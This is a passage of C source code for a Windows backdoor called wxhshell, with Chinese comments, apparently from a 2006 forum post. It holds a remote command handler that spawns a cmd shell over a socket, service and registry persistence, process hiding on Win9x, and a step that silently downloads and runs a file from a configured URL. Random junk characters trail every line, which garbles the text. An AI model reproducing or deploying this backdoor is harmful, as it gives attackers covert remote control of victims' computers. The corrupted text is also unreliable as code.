  // 帮助  WDr'w'  
  case '?': { ^Z7])arA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^7C?yC  
    break; 0Y#S2ty  
  } #87:Or1  
  // 安装 *S.R#4w  
  case 'i': { uX*H2"A  
    if(Install()) %\?2W8Qv_J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eiB5 8b3  
    else mA:NAV $!s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `X8AM=  
    break; ^\kv> WBE  
    } {l= !  
  // 卸载 a%>p"4WL  
  case 'r': { Uv,_VS(  
    if(Uninstall()) D'e'xU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "=I ioY  
    else lJ!+n<K+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EJP##eGx  
    break; olzP=08aaV  
    } I^'kt[P'FZ  
  // 显示 wxhshell 所在路径 'ypJGm  
  case 'p': { SS@F:5),  
    char svExeFile[MAX_PATH]; 4CO:*qG)o  
    strcpy(svExeFile,"\n\r"); (9x8,f0z  
      strcat(svExeFile,ExeFile); CW>f;  
        send(wsh,svExeFile,strlen(svExeFile),0); {.2A+JT,  
    break; n|F$qV_p\  
    } HqXaT6#/  
  // 重启 b]hP;QK`U$  
  case 'b': { 2`,{IHu*!  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zm rQ7(y  
    if(Boot(REBOOT)) c#+JG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =BpX;n <  
    else { kBd #=J  
    closesocket(wsh); T!eb=oy  
    ExitThread(0); Jq)!)={  
    } ;Dg8>  
    break; ETe,RY  
    } (NUwkAO M}  
  // 关机 'M2Jw8i  
  case 'd': { UX=JWb_uGm  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'S<ebwRd=  
    if(Boot(SHUTDOWN)) o|G.tBpKg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eX$P k:  
    else { `-S6g^Y  
    closesocket(wsh); 0%.l|~CE&  
    ExitThread(0); ZK4/o  
    } jvn:W{'Q  
    break; %76N$`{u  
    } n\ aG@X%oq  
  // 获取shell f,z_|e  
  case 's': { }./__gJ  
    CmdShell(wsh); 9/ R|\  
    closesocket(wsh); Qy |*[  
    ExitThread(0); j E_a ++  
    break; :i+Tf~k{  
  } Kr`Cr5v  
  // 退出 RP&H9>  
  case 'x': { wYZFW'5p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gl-O"%rMcL  
    CloseIt(wsh); 'l2'%@E>  
    break; dC;@ Fn  
    } 8E1swH5 z  
  // 离开 3=V79&  
  case 'q': { NK'awv),pM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iO4YZ!  
    closesocket(wsh); t>><|~wp  
    WSACleanup(); tn201TDZ]=  
    exit(1); j.X3SQb4G  
    break; 1QXv}36#3n  
        } <e|I?zI9-  
  } {Cnz7TVB  
  } -sl] funRy  
7u-o7#,X2  
  // 提示信息 !Q =H)\3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); # (B <n  
} GQO}E@W6C  
  } .0;Z:x_3  
Ul7)CT2:  
  return; 7a 4G:  
} Kf D8S  
hkeOe  
// shell模块句柄 jI!}}K)d  
int CmdShell(SOCKET sock) wN8-M e  
{ Hj"`z6@7  
STARTUPINFO si; _c?&G`  
ZeroMemory(&si,sizeof(si)); J< BBM.^]  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b_@MoL@A!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dM8`!~#&PI  
PROCESS_INFORMATION ProcessInfo; w$4fS  
char cmdline[]="cmd"; OF*m 9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7HzO_u%H1  
  return 0; Qp~O!9ph  
} 5Og.:4  
,Hn{nVU1R=  
// 自身启动模式 OF'y]W&  
int StartFromService(void) $NzD&b$7  
{ v)>R)bzqe  
typedef struct 57^ X@ra$  
{ LC)-aw>-  
  DWORD ExitStatus; q-O=Em<*  
  DWORD PebBaseAddress; _v:t$k#sN  
  DWORD AffinityMask; ~itrM3^"w  
  DWORD BasePriority; .zO/8y(@  
  ULONG UniqueProcessId; \wqi_[A  
  ULONG InheritedFromUniqueProcessId; &wr0HrE\  
}   PROCESS_BASIC_INFORMATION; ^@e4m O  
s0 hD;`cm  
PROCNTQSIP NtQueryInformationProcess; v<N7o8  
8.bIP ju%v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W>+\A"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k\X1`D}R  
sui3(wb  
  HANDLE             hProcess; q"4{GCavN  
  PROCESS_BASIC_INFORMATION pbi; <5 G+(vP  
#-kG\}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >AI65g  
  if(NULL == hInst ) return 0; 8?AFvua}r  
|u{NM1,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $TS4YaJ%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y}dop1zp  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); < TJzp  
],9%QE  
  if (!NtQueryInformationProcess) return 0; Xc -'&"  
FB3C'!'<)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oHH-joYnn  
  if(!hProcess) return 0; jFfuT9oId  
," ~ew ,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c.y8x  
]wCg'EUB  
  CloseHandle(hProcess); f]N2(eM  
;@ xSJqT  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o8c4h<,  
if(hProcess==NULL) return 0; Cc7PhoPK  
~YO99PP  
HMODULE hMod; 9`eu&n@Z  
char procName[255]; ;2 -%IA,  
unsigned long cbNeeded; ;L(2Ffk8  
|%.V{vgP7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .jW+\mIX  
Lq.aM.&;#  
  CloseHandle(hProcess); ibo{!>m  
ew8f7S[  
if(strstr(procName,"services")) return 1; // 以服务启动 udYk 6  
+Zgh[a  
  return 0; // 注册表启动 R: 8\z0"L*  
} S?n,O+q  
jt5en;AA[  
// 主模块 | wuUH  
int StartWxhshell(LPSTR lpCmdLine) eCHT) 35u  
{ uzjP!qO  
  SOCKET wsl; =z`GC1]bL  
BOOL val=TRUE; j}~3m$  
  int port=0; x-0S-1M  
  struct sockaddr_in door; z 4 4(  
9D,`9L5-=  
  if(wscfg.ws_autoins) Install(); D  /wX  
8V$pdz|[  
port=atoi(lpCmdLine); DY| s |:d  
{1a%CsCM  
if(port<=0) port=wscfg.ws_port; !0Hx1I<*x  
:(gZ\q">k  
  WSADATA data; dNd(57  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;s m )f  
J eCKnt=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NJ\ID=3l  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n@IpO i$Q  
  door.sin_family = AF_INET; ^)|8N44O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `rEu8u  
  door.sin_port = htons(port); c!n\?lB  
T 2Uu/^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8bT]NvCA  
closesocket(wsl); 6 2{(i'K  
return 1; \D Oqx  
} =y)e&bj  
@T>\pP]o  
  if(listen(wsl,2) == INVALID_SOCKET) { >S\D+1PV  
closesocket(wsl); fX"cQ&  
return 1; %dA6vHI,  
} h8#14?  
  Wxhshell(wsl); ft$@':F  
  WSACleanup(); 'a8{YT4  
Fo  K!JX*  
return 0; -L=aZPW`M  
>9F&x>~  
} UbDRzum  
$2lrP]`>j.  
// 以NT服务方式启动 4O}ZnE1[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) t.0F  
{ ^lADq']  
DWORD   status = 0; x z5 V.  
  DWORD   specificError = 0xfffffff; XNODDH   
`<}Q4p  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dV_ClH &)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Wx~N1+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /{h@A~<96  
  serviceStatus.dwWin32ExitCode     = 0; /1A3 Sw  
  serviceStatus.dwServiceSpecificExitCode = 0; NrQGoAOw  
  serviceStatus.dwCheckPoint       = 0; -2Bkun4Pt  
  serviceStatus.dwWaitHint       = 0; #6w\r&R6  
%NH#8#';2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O"%b@$p\L  
  if (hServiceStatusHandle==0) return; 3QNu7oo  
|"t)#BUtL  
status = GetLastError(); 1>5l(zK!9  
  if (status!=NO_ERROR)  hsYS<]  
{ U tb"6_   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L;jzDng<  
    serviceStatus.dwCheckPoint       = 0; :x85:pa  
    serviceStatus.dwWaitHint       = 0; `[.b>ztqgJ  
    serviceStatus.dwWin32ExitCode     = status; %ae|4u#b  
    serviceStatus.dwServiceSpecificExitCode = specificError; ddR*&.Y!a  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); M1UabqQ  
    return; Ph{7S43  
  } (6b*JQ^^  
uO=yQ&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hn-+]Y:  
  serviceStatus.dwCheckPoint       = 0; =~qQ?;o n  
  serviceStatus.dwWaitHint       = 0; e,*E`ol  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ~8fy qE$  
} ] yg3|C;  
&A}@@d  
// 处理NT服务事件,比如:启动、停止 Q7V*~{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $q}zW%  
{ =t@8Y`9w  
switch(fdwControl) )Q:.1Hgl  
{ AcRrk  
case SERVICE_CONTROL_STOP: G3Z>,"w;=  
  serviceStatus.dwWin32ExitCode = 0; BC*)@=7fx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4gyC?#Ede  
  serviceStatus.dwCheckPoint   = 0; c:[z({`  
  serviceStatus.dwWaitHint     = 0; I[P43>F3  
  { Ii*tux!S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hh%f mc  
  } pK_n}QW  
  return; Q:nBx[%  
case SERVICE_CONTROL_PAUSE: 0j@nOj(3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #ZzFAt  
  break; W>^WNo3YQ$  
case SERVICE_CONTROL_CONTINUE: '+ %<\.$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; G&2UXr3  
  break; q$#5>5&  
case SERVICE_CONTROL_INTERROGATE: E[IjeJB5  
  break; h\]D:S  
}; 8:D|[u;iG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `1O<UJX  
} kK62yz,  
roiUVisq*  
// 标准应用程序主函数 0ZRIi70u  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *!mT#Vm^  
{ QB3vp4pBg@  
=x_~7 Xc{  
// 获取操作系统版本 rzl0*CR  
OsIsNt=GetOsVer(); x-hr64WFK  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  /y2)<{{I  
,RA;X  
  // 从命令行安装 Y! 8 I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3izGMH_`  
sN"JVJXi  
  // 下载执行文件 Ah_,5Z@&R  
if(wscfg.ws_downexe) { 9i^dQV.U=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v|]1x2191  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7dg2-4  
} }3%L3v&  
^0x0 rY  
if(!OsIsNt) { %$'YP  
// 如果时win9x,隐藏进程并且设置为注册表启动 {Yt@H  
HideProc(); \w6A-daD0  
StartWxhshell(lpCmdLine); Z30r|Ufh  
} /V>q(Q  
else Xyz w.%4c  
  if(StartFromService()) 1o Z!Up0  
  // 以服务方式启动 #0:N$'SZ  
  StartServiceCtrlDispatcher(DispatchTable); gG?sLgL:  
else " A4.2  
  // 普通方式启动 d_ [l{  
  StartWxhshell(lpCmdLine); WVa-0;  
i(hL6DLD  
return 0; ~_XK<}SK  
}
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只看该作者 1 发表于: 2006-10-10
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